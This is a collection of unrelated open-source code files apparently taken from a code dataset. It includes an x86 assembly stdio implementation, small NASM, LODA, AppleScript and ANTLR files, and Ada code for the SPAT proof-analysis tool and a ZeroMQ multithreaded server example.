call _tool.parsefilepointer ; - Check it
clc
call _tool.eof ; Clear EOF
; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.seek_start]
call [esi]
jc .error ;
xor eax, eax ; Return zero
jmp .done ;
.error: ;
call _tool.seterror ; Set error
;
.done: ; <ends>
pop esi ;
pop edx ;
pop ebx ;
pop ebp ;
retn ;
ftell: ;; long int ftell(FILE *stream)
; ;------------------------------
; Returns the current file position of the given stream.
; If it is a binary stream, then the value is the number of bytes from
; the beginning of the file. If it is a text stream, then the value is a
; value useable by the fseek function to return the file position to the current position.
; On success the current file position is returned.
; On error a value of -1 is returned and errno is set.
;
; Status: Done ;
; <start>
push ebp ;
mov ebp, esp ;
; ---
; Step 1: Get the param
push ebx ;
mov ebx, [ebp + 8] ; EBX points to our FileDescr
call _tool.parsefilepointer ; Check it
; ---
push ebx ; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.seek_cur]
;
mov eax, dword 00h ;
;
;-------------------------------;
; EAX = Amount to read
; ESI = seek_cur position
; EBX = File Descriptor for UUU
;-------------------------------;
; ---
call [esi] ; Step 3: Call seek_cur
pop ebx ;
jnc .ok ;
call _tool.seterr ; Error? Set errorflag &
mov eax, -1 ; return -1
.ok: ;
;
pop ebx ; Cleanup
pop ebp ;
retn ; <done>
;--------------------------------------;
fopen: ;; FILE *fopen(const char *filename, const char *mode)
; On success a pointer to the file stream is returned. On failure a null pointer is returned.
; NOTE: Not using mode at all
; Status: Done
push ebp
mov ebp, esp
; Step 1: Get the param
push ebx
push esi
mov ebx, [ebp + 8]
call _tool.parsefilepointer
mov esi, ebx
mov esi, dword [esi+l4u_FileDescr.file_descr]
; Step 2: Try to open the file
externfunc vfs.open
jc .error_vfs
call _tool.create_l4uFD
mov eax, ebx ; Return value
pop esi
pop ebx
pop ebp
retn
.error_vfs:
mov eax, NULL ; Null-pointer
pop esi
pop ebx
pop ebp
retn
fread: ;; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
; --------------------------------
; Reads data from the given stream into the array pointed to by ptr.
; It reads nmemb number of elements of size size. The total number of
; bytes read is (size*nmemb).
; On success the number of elements read is returned. On error or
; end-of-file the total number of elements successfully read (which may be zero)
; is returned.
; Status: Done
push ebp ;
mov ebp, esp ;
; ---
; Step 1: Get the param
push ebx ;
push edx
push edi
mov ebx, [ebp + 20] ; EBX points to our FileDescr
call _tool.parsefilepointer ; Check it
mov edx, [ebp + 12]
mov eax, [ebp + 16]
mul edx ; < 32 bit only!>
mov ecx, eax ; ECX = Number of bytes to read
mov edi, [ebp + 8] ; EDI = Destination
; ---
push ebx ; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.read]
;
;
;-------------------------------;
; ECX = Amount to read
; EDI = Destination
; EBX = File Descriptor for UUU
;-------------------------------;
; ---
call [esi] ; Step 3: Call read
pop ebx ; (save back our own file_desc)
pop edi
pop edx ;
pop ebx ; Cleanup
pop ebp ;
retn ; <done>
;--------------------------------------;
fwrite: ;; size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
; -------------------------
; Writes data from the array pointed to by ptr to the given
; stream. It writes nmemb number of elements of size size. The
; total number of bytes written is (size*nmemb).
; On success the number of elements writen is returned. On error
; the total number of elements successfully writen (which may be zero) is returned.
; Status: Done
push ebp ;
mov ebp, esp ;
; ---
; Step 1: Get the param
push ebx ;
push edx
push edi
mov ebx, [ebp + 20] ; EBX points to our FileDescr
call _tool.parsefilepointer ; Check it
mov edx, [ebp + 12]
mov eax, [ebp + 16]
mul edx ; < 32 bit only!>
mov ecx, eax ; ECX = Number of bytes to read
mov esi, [ebp + 8] ; ESI = Source
; ---
push ebx ; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.write]
;
;
;-------------------------------;
; ECX = Amount to read
; ESI = Source
; EBX = File Descriptor for UUU
;-------------------------------;
; ---
call [esi] ; Step 3: Call write
pop ebx ; (save back our own file_desc)
pop edi
pop edx ;
pop ebx ; Cleanup
pop ebp ;
retn ; <done>
;--------------------------------------;
rewind: ;; void rewind(FILE *stream)
; --------------------------
; Sets the file position to the beginning of the
; file of the given stream. The error and end-of-file
; indicators are reset.
push ebp ;
mov ebp, esp ;
push ebx
push edx
push esi
mov ebx, [ebp + 8]
xor edx, edx ;
call _tool.parsefilepointer ; - Check it
clc
call _tool.eof ; Clear EOF
call _tool.clearerr ; Clear Error
; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.seek_start]
call [esi]
jc .error ;
xor eax, eax ; Return zero
jmp .done ;
.error: ;
call _tool.seterror ; Set error
;
.done: ; <ends>
pop esi ;
pop edx ;
pop ebx ;
pop ebp ;
retn ;
setbuf: ;; void setbuf(FILE *stream, char *buffer)
; Return nothing
retn
setvbuf: ;; int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
; Return zero
xor eax, eax
retn
;
;-----------------------------------------------;
; Tools
;-----------------------------------------------;
;
_tool:
.parseerror:
; EBX = Errorcode
;Returns in EBX new errorcode (c-Compat)
.seterror:
.seterr:
; EBX = OurHandle
; EAX = Errornumber of UUU (optional)
mov dword [ebx+l4u_FileDescr.iserror], 01h
retn
.clearerr:
; EBX = Ourhandle
mov dword [ebx+l4u_FileDescr.iserror], 00h
retn
.eof:
; EBX = OurHandle
; CF -> set, otherwise unset
jc .eof_set
mov dword [ebx+l4u_FileDescr.iseof], 00h
retn
.eof_set:
mov dword [ebx+l4u_FileDescr.iseof], 01h
retn
.parsefilepointer: ; Includes check for STDIN/STDOUT/STDERR
; EBX = Value given by C app
; out = Corresponding l4u_FileDescr
; Status: Done
cmp ebx, STDIN
jne .next1
mov ebx, [stdin]
jmp .done
.next1:
cmp ebx, STDOUT
jne .next2
mov ebx, [stdout]
jmp .done
.next2:
cmp ebx, STDERR
jne .next3
mov ebx, [stderr]
jmp .done
.next3:
cmp ebx, NULL
jne .other_file
jmp short $ ; <TODO>
.other_file:
.done:
retn
.create_l4uFD:
; EBX = File_Descriptor location ; Creates our own struct
; out EBX = l4u_FileDescr
push ecx
mov ecx, l4u_FileDescr_size
call _tool.malloc
; Fill up now
mov dword [ecx+l4u_FileDescr.lasterror], 00h
mov dword [ecx+l4u_FileDescr.iserror], 00h
mov dword [ecx+l4u_FileDescr.iseof], 00h
mov dword [ecx+l4u_FileDescr.cur_pos], 00h
mov dword [ecx+l4u_FileDescr.file_descr], ebx
mov ebx, ecx
pop ecx
retn
.destruct_l4uFD:
; EBX = File_Descriptor location ; Kill our own struct
; (perhaps more to come when buffering is here)
push ebx
push esi
xor eax, eax
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.close]
;
call [esi] ; Call UUU!
pop ebx
;
jnc .ok ;
call _tool.seterr ; Error? Set errorflag &
mov eax, -1 ; return -1
.ok: ;
;
;-------------------------------;
; EBX = Our Handle
;-------------------------------;
;
call _tool.dealloc ; Dealloc our struct
pop esi
retn
.malloc:
; ECX = Size needed
; out ECX = Address
pushad
externfunc mem.alloc
jc .malloc_err
mov ecx, esi
popad
retn
.malloc_err:
stc
popad
jmp $ ; HangMeUp <TODO>
retn
.dealloc:
; EBX = Address
pushad
mov eax, ebx
externfunc mem.dealloc
jc .DEalloc_err
popad
retn
.DEalloc_err:
stc
popad
jmp $ ; HangMeUp <TODO>
retn
;
;-----------------------------------------------;
; Init
;-----------------------------------------------;
;
global _init_stdio ;
_init_stdio: ; We need to set up STDIN/STDOUT properly
push ebx ; in l4u_FileDescr format.
; ---
mov ebx, dword [stdlib_stdin] ; Set up STDIN
call _tool.create_l4uFD ;
mov dword [stdin], ebx ;
; ---
mov ebx, dword [stdlib_stdout] ; Set up STDOUT
call _tool.create_l4uFD ;
mov dword [stdout], ebx ;
; ---
mov ebx, dword [stdlib_stderr] ; Set up STDERR
call _tool.create_l4uFD ;
mov dword [stderr], ebx ;
; ---
pop ebx ; Clean the stack
retn ;
; > DONE <
;-----------------------------------------------;
; Cleanup
;-----------------------------------------------;
;
global _cleanup_stdio ;
_cleanup_stdio: ; Need to release allocated memory for
push eax ; STDIN/STDOUT/STDERR
; <ToDO>: Buffering cleanup
;
mov eax,[stdin] ; Cleanup our STDIN stuff
externfunc mem.dealloc ;
mov eax,[stdout] ; Cleanup our STDOUT stuff
externfunc mem.dealloc ;
mov eax,[stderr] ; Cleanup our STDERR stuff
externfunc mem.dealloc ;
; ---
pop eax ; Clean the stack
retn ;
; > DONE <
;
;-----------------------------------------------; ============== CODE ENDS =================
; DATA
;-----------------------------------------------;
stdin: dd 0 ; STDIN pointer (our format; l4u_FileDescr)
stdout: dd 0 ; STDOUT pointer (our format; l4u_FileDescr)
stderr: dd 0 ; STDERR pointer (our format; l4u_FileDescr)
;
;
;
;-------
;-------
;---------------
;------------------------------------------------------------------------------
;
; Copyright (c) 2002 <NAME>
; All Rights reserved!
;
;------------------------------------------------------------------------------ |
Applications/Finder/front window/(target of front window) as alias.applescript | looking-for-a-job/applescript-examples | 1 | 2930 | <filename>Applications/Finder/front window/(target of front window) as alias.applescript<gh_stars>1-10
#!/usr/bin/osascript
tell application "Finder" to (target of front window) as alias |
04_hello_world_input.asm | v3ree/learning_asm | 0 | 167211 | ; Compile with: nasm -f elf <filename>.asm
; Link with (64 bit systems require elf_i386 option): ld -m elf_i386 <filename>.o -o <filename>
%include "str_lib0.asm"
SECTION .data
str0 db "Please write your name: ", 0x00
str1 db "Hello, ", 0x00
SECTION .bss
name resb 255
SECTION .text
global _start
;-------------------------------------------------------------------------------
_start:
mov eax, str0
call str_print
mov eax, name
call read_input
mov eax, str1
call str_print
mov eax, name
call str_print
jmp exit
|
oeis/105/A105369.asm | neoneye/loda-programs | 11 | 176756 | <gh_stars>10-100
; A105369: Expansion of ((1+x)^3 - x^3)/((1+x)^5 - x^5).
; Submitted by <NAME>
; 1,-2,3,-5,10,-20,35,-50,50,0,-175,625,-1625,3625,-7250,13125,-21250,29375,-29375,0,106250,-384375,1006250,-2250000,4500000,-8140625,13171875,-18203125,18203125,0,-65859375,238281250,-623828125,1394921875,-2789843750,5046875000,-8166015625
mov $1,1
mov $5,-2
lpb $0
sub $0,1
mov $4,$2
mov $2,$1
mov $1,$3
add $4,$3
mul $4,-5
add $5,$4
add $1,$5
mov $3,$5
mov $5,$4
lpe
mov $0,$1
|
programs/oeis/037/A037528.asm | jmorken/loda | 1 | 86944 | ; A037528: Base-3 digits are, in order, the first n terms of the periodic sequence with initial period 1,1,2.
; 1,4,14,43,130,392,1177,3532,10598,31795,95386,286160,858481,2575444,7726334,23179003,69537010,208611032,625833097,1877499292,5632497878,16897493635,50692480906,152077442720,456232328161
add $0,1
mov $2,6
lpb $0
sub $0,1
mul $2,3
mov $1,$2
add $1,2
mov $2,$1
div $1,13
lpe
|
src/menus.ads | thomas070605/shoot-n-loot | 0 | 24231 | <reponame>thomas070605/shoot-n-loot<gh_stars>0
-- Shoot'n'loot
-- Copyright (c) 2020 <NAME>
package Menus is
procedure Run with No_Return;
end Menus;
|
src/VCEL.Core/Lang/VCELLexer.g4 | lywonglokyin/vcel | 5 | 4992 | <reponame>lywonglokyin/vcel
lexer grammar VCELLexer;
LET: 'let';
MATCH: 'match';
OTHERWISE: 'otherwise';
OPEN_BRACE: '{';
CLOSE_BRACE: '}';
LPAREN: '(';
RPAREN: ')';
COMMA: ',';
QUEST: '?';
COLON: ':';
NOT: '!';
AND: 'and'|'&&';
OR: 'or'|'||';
GT: '>';
GTE: '>=';
LT: '<';
LTE: '<=';
EQ: '==';
NEQ: '!=';
IN: 'in';
MATCHES: 'matches'|'~';
BETWEEN: 'between';
ASSIGN: '=';
PLUS: '+';
MINUS: '-';
MULTIPLY: '*';
DIVIDE: '/';
POW: '^';
DOT: '.';
TRUE: 'true';
FALSE: 'false';
NULL: 'null';
WS: [ \t\r\n]+ -> skip;
LEGACY_DATETIME: ('T(System.DateTime)'|'T(DateTime)');
LEGACY_MATH: 'T(System.Math)';
STRING_LITERAL: '\'' (APOS | ~'\'')* '\'';
TIME_LITERAL: ('-'? DIGIT+ '.')? TIME;
LONG_LITERAL: (DIGIT)+ LONG_SUFFIX;
INT_LITERAL: (DIGIT)+;
FLOAT_LITERAL: NUMBER ('f'|'F');
DATE_LITERAL: '@' TDG TDG '-' TDG '-' TDG ('T' TIME_LITERAL (TZ)?)?;
fragment TZ: 'Z' | (('+'|'-') TDG (':'?) TDG?);
fragment TIME_SPECIFIER: 'T';
fragment TDG: DIGIT DIGIT;
fragment TIME: TDG ':' TDG ':' TDG (DOT TDG DIGIT)?;
HASH: '#';
BAR: '|';
fragment APOS: '\'' '\'';
fragment LONG_SUFFIX: ( 'L' | 'l');
fragment HEX_DIGIT: [0-9A-Fa-f];
fragment DIGIT: [0-9];
NUMBER: DIGIT+ ([.] DIGIT+)? | '.' DIGIT+;
ID: ('a' ..'z' | 'A' ..'Z' | '_') (
'a' ..'z'
| 'A' ..'Z'
| '_'
| '0' ..'9'
)*; |
src/app/run_spat-print_entities.adb | HeisenbugLtd/spat | 20 | 28235 | ------------------------------------------------------------------------------
-- Copyright (C) 2020 by Heisenbug Ltd. (<EMAIL>)
--
-- This work is free. You can redistribute it and/or modify it under the
-- terms of the Do What The Fuck You Want To Public License, Version 2,
-- as published by Sam Hocevar. See the LICENSE file for more details.
------------------------------------------------------------------------------
pragma License (Unrestricted);
------------------------------------------------------------------------------
--
-- SPARK Proof Analysis Tool
--
-- S.P.A.T. - Main program - separate Print_Entities
--
------------------------------------------------------------------------------
with Ada.Strings.Fixed;
with Ada.Strings.Unbounded;
with SPAT.Entity.Tree;
with SPAT.Log;
with SPAT.Proof_Attempt;
with SPAT.Proof_Item;
with SPAT.Strings;
with SPAT.String_Tables;
separate (Run_SPAT)
------------------------------------------------------------------------------
-- Print_Entities
------------------------------------------------------------------------------
procedure Print_Entities (Info : in SPAT.Spark_Info.T;
Sort_By : in SPAT.Spark_Info.Sorting_Criterion;
Cut_Off : in Duration;
Entity_Filter : in Reg_Exp_List.Vector)
is
type Filtered is
record
Omitted_Entities : Natural;
Omitted_VCs : Natural;
end record;
function Has_Omitted (F : in Filtered) return Boolean is
(F.Omitted_Entities /= 0 or F.Omitted_VCs /= 0);
function Image (F : in Filtered) return String is
(F.Omitted_Entities'Image & " entities, and" &
F.Omitted_VCs'Image & " VCs within the above results");
None_Filtered : constant Filtered := Filtered'(Omitted_Entities => 0,
Omitted_VCs => 0);
Cut_Off_Filter : Filtered := None_Filtered;
Mode : constant SPAT.Command_Line.Report_Mode :=
SPAT.Command_Line.Report.Get;
Detail_Level : constant SPAT.Command_Line.Detail_Level :=
SPAT.Command_Line.Details.Get;
use all type SPAT.Command_Line.Report_Mode;
---------------------------------------------------------------------------
-- Should_Show_Entity
--
-- Applies given filters (cut off point, report mode, entity filter
-- regexp) and returns True if the entity matches this filter and should
-- be shown.
---------------------------------------------------------------------------
function Should_Show_Entity (Entity : in SPAT.Entity_Name) return Boolean;
---------------------------------------------------------------------------
-- Should_Show_Proof
--
-- Applies given filters (cut off point, report mode) and returns True if
-- the given Proof matches the filters and should be shown.
---------------------------------------------------------------------------
function Should_Show_Proof
(The_Proof : in SPAT.Proof_Item.T'Class) return Boolean;
---------------------------------------------------------------------------
-- Should_Show_Check
--
-- Applies filters (report mode) and returns True if the given Check
-- matches the filters and should be shown.
---------------------------------------------------------------------------
function Should_Show_Check
(The_Check : in SPAT.Proof_Item.Checks_Sentinel'Class) return Boolean;
---------------------------------------------------------------------------
-- Should_Show_Check
---------------------------------------------------------------------------
function Should_Show_Check
(The_Check : in SPAT.Proof_Item.Checks_Sentinel'Class) return Boolean is
(case Mode is
when None => raise Program_Error,
when All_Proofs => True,
when Failed => The_Check.Has_Failed_Attempts,
when Unproved |
Unjustified => The_Check.Is_Unproved);
---------------------------------------------------------------------------
-- Should_Show_Entity
---------------------------------------------------------------------------
function Should_Show_Entity (Entity : in SPAT.Entity_Name) return Boolean is
begin
if Info.Max_Proof_Time (Entity => Entity) < Cut_Off then
Cut_Off_Filter.Omitted_Entities := Cut_Off_Filter.Omitted_Entities + 1;
return False;
end if;
-- Check report mode
case Mode is
when None =>
return False; -- Show nothing.
when All_Proofs =>
null; -- Fall through.
when Failed =>
if not Info.Has_Failed_Attempts (Entity => Entity) then
-- No failed attempts, don't show.
return False;
end if;
when Unproved =>
if not Info.Has_Unproved_Attempts (Entity => Entity) then
-- No unproved attempts, don't show.
return False;
end if;
when Unjustified =>
if
not Info.Has_Unproved_Attempts (Entity => Entity) or else
not Info.Has_Unjustified_Attempts (Entity => Entity)
then
-- Either no unproved VCs, or all unproved ones are justified.
return False;
end if;
end case;
-- Finally check the filter expression.
return (Entity_Filter.Is_Empty or else
(for some Expression of Entity_Filter =>
GNAT.Regexp.Match (S => SPAT.To_String (Entity),
R => Expression)));
end Should_Show_Entity;
---------------------------------------------------------------------------
-- Should_Show_Proof
---------------------------------------------------------------------------
function Should_Show_Proof
(The_Proof : in SPAT.Proof_Item.T'Class) return Boolean is
begin
if The_Proof.Max_Time < Cut_Off then
-- Below cut off point, don't show.
Cut_Off_Filter.Omitted_VCs := Cut_Off_Filter.Omitted_VCs + 1;
return False;
end if;
return (case Mode is
when None => raise Program_Error,
when All_Proofs => True,
when Failed => The_Proof.Has_Failed_Attempts,
when Unproved => The_Proof.Has_Unproved_Attempts,
when Unjustified => (The_Proof.Has_Unproved_Attempts and then
The_Proof.Is_Unjustified));
end Should_Show_Proof;
use all type SPAT.Command_Line.Detail_Level;
Entities : constant SPAT.Strings.Entity_Names :=
Info.List_All_Entities (Sort_By => Sort_By);
package Output_Columns is new SPAT.String_Tables (Columns => 4);
---------------------------------------------------------------------------
-- Split_Into
---------------------------------------------------------------------------
procedure Split_Into (Source : in String;
Split_By : in String;
Target : out Output_Columns.Row);
---------------------------------------------------------------------------
-- Split_Into
---------------------------------------------------------------------------
procedure Split_Into (Source : in String;
Split_By : in String;
Target : out Output_Columns.Row)
is
Split_At : constant Natural :=
Ada.Strings.Fixed.Index (Source => Source,
Pattern => Split_By);
begin
if Split_At > Source'First then
Target :=
(1 =>
SPAT.To_Name
(Source =>
Ada.Strings.Fixed.Trim
(Source => Source (Source'First .. Split_At - 1),
Side => Ada.Strings.Both)),
2 => SPAT.To_Name (Source => Split_By),
3 =>
SPAT.To_Name
(Source =>
Ada.Strings.Fixed.Trim
(Source =>
Source (Split_At + Split_By'Length .. Source'Last),
Side => Ada.Strings.Both)),
4 => SPAT.Null_Name);
else
Target := (1 => SPAT.To_Name (Source => Source),
others => SPAT.Null_Name);
end if;
end Split_Into;
Output_List : Output_Columns.Row_Vectors.Vector;
Current_Row : Output_Columns.Row;
begin -- Print_Entities
for Entity of Entities loop
if Should_Show_Entity (Entity => Entity) then
Current_Row :=
(1 => SPAT.Subject_Name (Entity),
2 => SPAT.To_Name (" => "),
3 => SPAT.Null_Name,
4 =>
SPAT.To_Name
(Source =>
(if Info.Has_Unproved_Attempts (Entity => Entity)
then "--" -- Useless if nothing is proven.
else
SPAT.Image
(Value => Info.Max_Success_Proof_Time (Entity => Entity),
Steps => Info.Max_Success_Proof_Steps (Entity => Entity))) &
"/" &
SPAT.Image
(Value => Info.Max_Proof_Time (Entity => Entity),
Steps => Info.Max_Proof_Steps (Entity => Entity)) &
"/" &
SPAT.Image
(Value => Info.Total_Proof_Time (Entity => Entity))));
Output_List.Append (New_Item => Current_Row);
if Detail_Level > SPAT.Command_Line.None then
for PI_Position in Info.Proof_Tree (Entity => Entity) loop
declare
The_Proof : SPAT.Proof_Item.T'Class renames
SPAT.Proof_Item.T'Class
(SPAT.Entity.Tree.Element (Position => PI_Position));
use type SPAT.Justification;
begin
if Should_Show_Proof (The_Proof => The_Proof) then
Split_Into (Source => "`-" & The_Proof.Image,
Split_By => " => ",
Target => Current_Row);
Output_List.Append (New_Item => Current_Row);
if Detail_Level > Level_1 then
for Check_Position in
Info.Iterate_Children (Entity => Entity,
Position => PI_Position)
loop
declare
The_Check : SPAT.Proof_Item.Checks_Sentinel'Class renames
SPAT.Proof_Item.Checks_Sentinel'Class
(SPAT.Entity.Tree.Element
(Position => Check_Position));
begin
if Should_Show_Check (The_Check => The_Check) then
Current_Row := (1 => SPAT.To_Name (" `"),
others => SPAT.Null_Name);
for Attempt_Position in
Info.Iterate_Children
(Entity => Entity,
Position => Check_Position)
loop
declare
The_Attempt : SPAT.Proof_Attempt.T'Class renames
SPAT.Proof_Attempt.T'Class
(SPAT.Entity.Tree.Element
(Position => Attempt_Position));
begin
Ada.Strings.Unbounded.Append
(Source => Current_Row (1),
New_Item => "-");
Ada.Strings.Unbounded.Append
(Source => Current_Row (1),
New_Item => The_Attempt.Image);
Output_List.Append
(New_Item => Current_Row);
Current_Row :=
(1 => SPAT.To_Name (" "),
others => SPAT.Null_Name);
end;
end loop;
end if;
end;
end loop;
end if;
if
The_Proof.Suppressed /= SPAT.Justification (SPAT.Null_Name)
then
Current_Row :=
(1 =>
SPAT.To_Name
(Source =>
"Justified with: """ &
SPAT.To_String (The_Proof.Suppressed) & """."),
others => SPAT.Null_Name);
Output_List.Append (New_Item => Current_Row);
end if;
end if;
end;
end loop;
end if;
end if;
end loop;
Output_Columns.Put (Item => Output_List);
if SPAT.Log.Debug_Enabled and then Has_Omitted (F => Cut_Off_Filter) then
SPAT.Log.Debug
(Message =>
"Omitted results below cut-off point (" &
SPAT.Image (Cut_Off) & "):" &
Image (F => Cut_Off_Filter) & ".");
end if;
end Print_Entities;
|
examples/src/mtserver.adb | sonneveld/adazmq | 0 | 17399 | -- Multithreaded Hello World server
with Ada.Command_Line;
with Ada.Text_IO;
with GNAT.Formatted_String;
with ZMQ;
procedure MTServer is
use type GNAT.Formatted_String.Formatted_String;
type Context_Access is access all ZMQ.Context_Type'Class;
task type Worker_Routine_Type is
entry Start (Context_A : Context_Access);
end Worker_Routine_Type;
task body Worker_Routine_Type is
Context : Context_Access := null;
begin
accept Start (Context_A : Context_Access) do
Context := Context_A;
end Start;
declare
-- Socket to talk to dispatcher
Receiver : ZMQ.Socket_Type'Class := Context.New_Socket (ZMQ.ZMQ_REP);
begin
Receiver.Connect ("inproc://workers");
loop
declare
Msg : constant String := Receiver.Recv;
begin
Ada.Text_IO.Put_Line (-(+"Received request: [%s]"&Msg));
-- Do some 'work'
delay 1.0;
-- Send reply back to client
Receiver.Send ("World");
end;
end loop;
-- We never get here, but clean up anyhow
Receiver.Close;
end;
end Worker_Routine_Type;
function Main return Ada.Command_Line.Exit_Status
is
Context : aliased ZMQ.Context_Type := ZMQ.New_Context;
-- Socket to talk to clients
Clients : ZMQ.Socket_Type'Class := Context.New_Socket (ZMQ.ZMQ_ROUTER);
-- Socket to talk to workers
Workers : ZMQ.Socket_Type'Class := Context.New_Socket (ZMQ.ZMQ_DEALER);
begin
Clients.Bind ("tcp://*:5555");
Workers.Bind ("inproc://workers");
-- Launch pool of worker threads
declare
Tasks : array (1 .. 5) of Worker_Routine_Type;
begin
for T of Tasks loop
T.Start (Context'Unrestricted_Access);
end loop;
-- Connect work threads to client threads via a queue proxy
ZMQ.Proxy (Clients, Workers);
-- We never get here, but clean up anyhow
Clients.Close;
Workers.Close;
-- Program will not leave this block until tasks above exit.
end;
Context.Term;
return 0;
end Main;
begin
Ada.Command_Line.Set_Exit_Status (Main);
end MTServer;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.